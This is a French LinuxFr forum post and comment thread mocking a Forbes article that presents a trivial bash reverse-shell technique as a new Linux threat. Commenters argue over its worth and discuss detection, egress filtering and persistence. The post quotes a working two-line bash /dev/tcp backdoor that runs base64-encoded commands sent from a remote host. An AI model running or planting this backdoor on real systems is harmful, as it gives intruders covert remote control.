Quelquefois on lit des docs super intéressants et très bien écrit (syntaxe, orthographe, etc..). Quelquefois, ils sont super intéressants, mais mal écrit (mise en page déplorable, l33t Sp3ak, pas d'intros, etc..) et certains sont très bien écrits, mais complètement nuls.
Je vous laisse lire un article qui présente le nouveau problème "data security" de linux qui expose une "bash tactic" pour impacter l'ensemble des systèmes UNIX http://www.forbes.com/sites/michaelvenables/2013/10/10/how-they-popped-the-penguin-the-linux-bash-attack-its-impact-on-user-data-security/.
Je vous laisse reprendre votre souffle 5 minutes. Oui, c'est vrai. Nous sommes en 2013 et des journalistes peuvent écrire ce genre d'articles sérieusement. Je reste sans mot devant ce tissu d'âneries aussi bien écrites. Séparément, les phrases font très sérieuses, très documentées, mais quand on lit l'article, on apprend qu'un pirate peut utiliser bash et netcat pour piloter une machine à distance ( Seriously? ) et que cela peut permettre de contourner les firewalls lorsqu'on autorise les connexions ( O RLY?) et que bash est malheureusement dispo depuis 1989 sur beaucoup d'unix et à peu près tous les linux du monde (Fear!)
Pour écrire l'article, un chercheur en sécurité n'a pas hésité à sacrifier l'intégrité de son serveur minecraft en lançant la commande suivante (attention, expertise en sécurité niveau +42 nécessaire à la compréhension de ce qui suit. Do not try this at home):
exec 5<> /dev/tcp/[ip]/[port];
cat <&5 | while read line; do echo “$line” | base64 -d | bash | base64 2>&5 >&5; done
C'est tellement gros qu'on a l'impression que c'est voulu, raconter des choses aussi creuses en autant de mot, ça me laisse sans voix.
# impacter?
Posté par Bayet Thierry . Évalué à 1.
affecter, influer -->
"je vous laisse lire un article qui présente le nouveau problème… qui expose une "bash tactic" (il eut été préférable aussi de le traduire) pour toucher, influencer, corriger, affecter, avoir des répercutions, reporter, etc. l'ensemble des systèmes UNIX."
Je trouve dommage que lorsque l'on parle d'un tissus d'âneries des journalistes, on fasse fi de la langue française.
Je ne parle pas du fond, ma fois, il est vrai qu'il faut faire attention à ce qui est écrit, même par O'R…
Simplement d'un mot qui fut, à une époque, repris par un journal(iste, eux) et depuis, ça fait fureur. Utilisez la langue française que diable, ce ne sont pas les mots qui manquent.
Remarque: il se peut que j'aie laissé quelques fautes par-ci, par-là, si quelqu'un a un *tain de batch pour me write un script pour corriger mes words, qu'il me fasse un "sign".
[^] # Re: impacter?
Posté par bobo38 . Évalué à 2.
Je m'attendais à un jeu de mot en INpacter, sans rancune ;)
OK Je -->[]
[^] # Re: impacter?
Posté par kursus_hc . Évalué à 3.
Oui mais la langue française est vivante, et si personne n'y avait jamais ajouté de mots…
De plus je le trouve sympa ce mot, il décrit une nuance que personnellement je ne retrouve pas dans ceux de ta liste : je lis "impacter" comme "ayant des répercussions immédiates et importantes".
[^] # Re: impacter?
Posté par Bayet Thierry . Évalué à -2.
Mouais, la langue est vivante. Quand je vois qu'on la restreint. Restez donc dans votre fange si vous ne voulez pas en sortir. Que je fasse des fautes d'orthographe, à ça oui, on les voit, et je suis navré de ne pas être titulaire d'une licence en lettre. Que l'on ne remarque pas les fautes de langue, non.
Continuez donc à voir la paille dans mon œil.
Bien à vous
[^] # Re: impacter?
Posté par kursus_hc . Évalué à 1.
Je n'ai rien compris à ton message. Je te conseille un peu d'ouverture et tu m'accuse d'avoir une paille dans l'oeil, tu cognes contre ceux qui malmènent la langue tout en avouant ne pas savoir écrire, tu rebondis sur tout sauf sur le fond de mon message. Bref, ça serait drôle si ce n'était pas incohérent et stupide.
# L’article n’est pas si mauvais que ça.
Posté par Hobgoblins Master (Mastodon) . Évalué à 8.
Que reproches tu exactement à cet article ? Il ne fait que démontrer la simplicité de mettre en place une connexion persistante un fois qu’on a percé toutes les autres sécurités et qu’on est root. Il explique d’ailleurs qu’on peut faire exactement la même chose en Powershell sur d’autres OS.
Il n’y a pas de sensationnalisme comme quoi attention Linux n’est pas sécure parce qu’il y a Bash dessus.
Au final, l’article démontre juste qu’il est extrêmement difficile pour un IDS d’intercepter une connexion de ce type parce qu’elle n’a pas besoin d’outils faisant passer toutes les alarmes au rouge.
Ça montre aussi l’importance de filtrer au niveau des pare-feux tout ce qui sort.
La conclusion qu’on peut avoir, c’est que les Unix embarquent des outils puissants et qu’ils peuvent être retournés contre le système, on le savait, mais ça ne fait pas de mal de le rappeler…
[^] # Re: L’article n’est pas si mauvais que ça.
Posté par X345 . Évalué à 10.
Non, désolé mais je ne trouve pas l'article très bon (je dirais même qu'il est carrément mauvais et que c'est de la masturbation intellectuelle).
L'auteur a rédigé un article plus de 10 paragraphes (autrement dit, très long) pour nous expliquer qu'on peut coder une backdoor en 10 lignes de bash, inutile d'épiloguer là-dessus. Je veux dire, c'est complètement trivial, n'importe quel étudiant en deuxième année d'informatique sait faire ça en Bash, Perl, C ou que sait je. Hein, il s'agit juste d'établir une connection TCP/IP et de piper ça dans le shell. Je me propose de battre l'auteur : je peux réaliser la même chose en une ligne (une ligne, t'as vu comme je suis un grand hacker) de socat.
Il présente ça comme une attaque ou une technique d'exploitation avancée alors qu'il a juste codé une backdoor complètement triviale. Et par pitié, qu'on vienne pas me dire que la technique d'inverser la connexion (la machine exploitée est cliente) est originale. Éventuellement, la remarque que les NIDS est intéressante, il y aurait du progrès à faire dans ce domaine car il ne parait pas impossible de détecter ce genre de connexion suspecte. Par exemple, on pourrait imaginer des règles détectant qu'une connexion contient des envoi de commande shells et des réponses ensuite (ce qui permettrait de discriminer par rapport au cas de l'adminsys faisant une recherche google).
[^] # Re: L’article n’est pas si mauvais que ça.
Posté par Anonyme . Évalué à 3.
Je crois que le principe réside dans le fait de ne jamais lancer autre chose qu'un (ou plusieurs) shell sur la machine cible et donc d'être relativement peu visible aux outils de détections d'intrusions.
[^] # Re: L’article n’est pas si mauvais que ça.
Posté par gnujsa . Évalué à 2.
C'est impressionnant le nombre de dérivés et d'outils offrant les mêmes fonctionnalités (voire étendues) que netcat. En ne considérant que ceux packagés dans Debian:
Il y aussi d'autres programmes offrant des fonctionnalités similaires comme les paquets ucspi-tcp, ucspi-tcp-ipv6, tcputils, ainsi que des netcat "cachés" dans busybox (busybox nc) et dans nmap (fournissant /usr/bin/ncat, un netcat remplie d’améliorations). Et j'en oublie sûrement !
[^] # Re: L’article n’est pas si mauvais que ça.
Posté par zebra3 . Évalué à 10.
Tu avais besoin d'un texte aussi long pour découvrir qu'on peut faire tout ce qu'on veut une fois qu'on est root et qu'on a percé toutes les sécurités ? Heureusement que Captain Obvious écrit des articles sur internet.
Article Quarante-Deux : Toute personne dépassant un kilomètre de haut doit quitter le Tribunal. -- Le Roi de Cœur
# Quelquefois, on ne comprend pas bien un article
Posté par SLiX (site web personnel) . Évalué à 3.
L'article en question ne fait qu'expliquer comment il est facile, en utilisant des outils basiques et en profitant de configurations réseaux courantes, de garder le contrôle d'une machine piratée.
Il n'y a aucun 0day linux ou bash exposé…
[^] # Re: Quelquefois, on ne comprend pas bien un article
Posté par Lutin . Évalué à 10.
Il explique aussi à quel point le bash poutre les langages orientés objets (enfin, je crois, je suis pas sûr de ce qu'il a voulu dire).
[^] # Re: Quelquefois, on ne comprend pas bien un article
Posté par vlamy (site web personnel) . Évalué à 1. Dernière modification le 16 octobre 2013 à 14:09.
Si « poutrer » veut dire qu'on peut exploiter le principe du « pipe » pour détourner la sécurité apportée par la pseudo isolation des langages à objet, le tout en deux lignes de code, alors oui bash poutre les langages à objet.
Cela dit, c'est complètement naze comme remarque, parce que je ne vois pas ce qui empêche de coder la même chose (avec les flux) dans un langage à objet.
# tu as un shell tu as tout compris
Posté par Xavier . Évalué à 6.
Bonjour,
en gros du moment que tu as un shell sur une machine, c'est cuit.
Rien de nouveau.
On peut aussi empêcher n'importe qui/quoi d'ouvrir un socket au moyen de SELinux par exemple.
Bonne journée.
# Analogie
Posté par Kerro . Évalué à 10.
Une fois que tu as pénétré la totalité des systèmes de sécurité, que tu as récupéré tous les codes de lancement, que tu as hypnotisé tous les intervenants clefs, alors d'un simple doigt tu peux appuyer sur le bouton qui va lancer un missile balistique nucléaire contre les USA et générer une riposte monstrueuse.
Un simple doigt ! C'est un truc qui équipe les humains depuis… heu… depuis avant 1989.
Je ne détaille pas ce qui est avant le doigt sur le bouton, car c'est trivial pour le lecteur.
# ssh c'est plus simple...
Posté par Yth (Mastodon) . Évalué à 6.
Bah oui, on considère que t'as déjà eu accès à la machine que t'es rooté et tout.
Bah il ne te reste plus qu'à te connecter directement en ssh par exemple en mettant ta clef publique dans le .ssh/known_hosts de root, et hop !
Pas de processus louche qui tourne.
Pas de commande bizarre à taper de ton côté.
Victoire !
Non ?
Yth, la sécurité, une fois les barrières tombées, c'est vraiment plus ce que c'était…
[^] # Re: ssh c'est plus simple...
Posté par Framasky (site web personnel) . Évalué à 2.
Non. Le truc de l'article (que j'ai pas lu mais j'ai lu les coms ici :D), c'est manifestement de montrer que tu peux envoyer des commandes sans se faire détecter. Avec ssh, tu vois quand qq'un est connecté. Pas avec netcat.
Being a sysadmin is easy. As easy as riding a bicycle. Except the bicycle is on fire, you’re on fire and you’re in Hell.
[^] # Re: ssh c'est plus simple...
Posté par Ginko . Évalué à 2.
Son point c'est juste de dire que le plupart de systèmes protégés de façon conventionnelle (firewall avec une config "normale", un IDS classique) sont sensibles à l'établissement d'une connexion persistante quasi invisible car :
- aucun exécutable exotique ne tourne sur la machine cible
- aucun outil ou protocole habituellement monitoré (ssh ?) n'est employé
- les outils du shell nécessaires sont installés par défaut sur la plupart des systèmes "en production"
Bon ensuite c'est sur que ça casse pas 3 pattes à un canard… m'enfin, c'est un article destiné aux décideurs pressés, non ?
Less is more
[^] # Re: ssh c'est plus simple...
Posté par kursus_hc . Évalué à 4.
Pour les décideurs vraiment pressés, l'auteur aurait dû faire un tweet, il aurait pu y mettre le même nombre d'informations.
# rootkit != exploit
Posté par Krunch (site web personnel) . Évalué à 2.
Si tu trouves cet article stupide, ces liens vont aussi te paraître idiots.
http://www.insomniasec.com/downloads/publications/shellgame.pdf
http://stapbofh.krunch.be/
Mais moi j'aime bien.
pertinent adj. Approprié : qui se rapporte exactement à ce dont il est question.
# Et les journaux sur LINUXFR?
Posté par Michaël (site web personnel) . Évalué à 2.
Pour les journaux sur LINUXFR, c'est un peu la même chose!
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.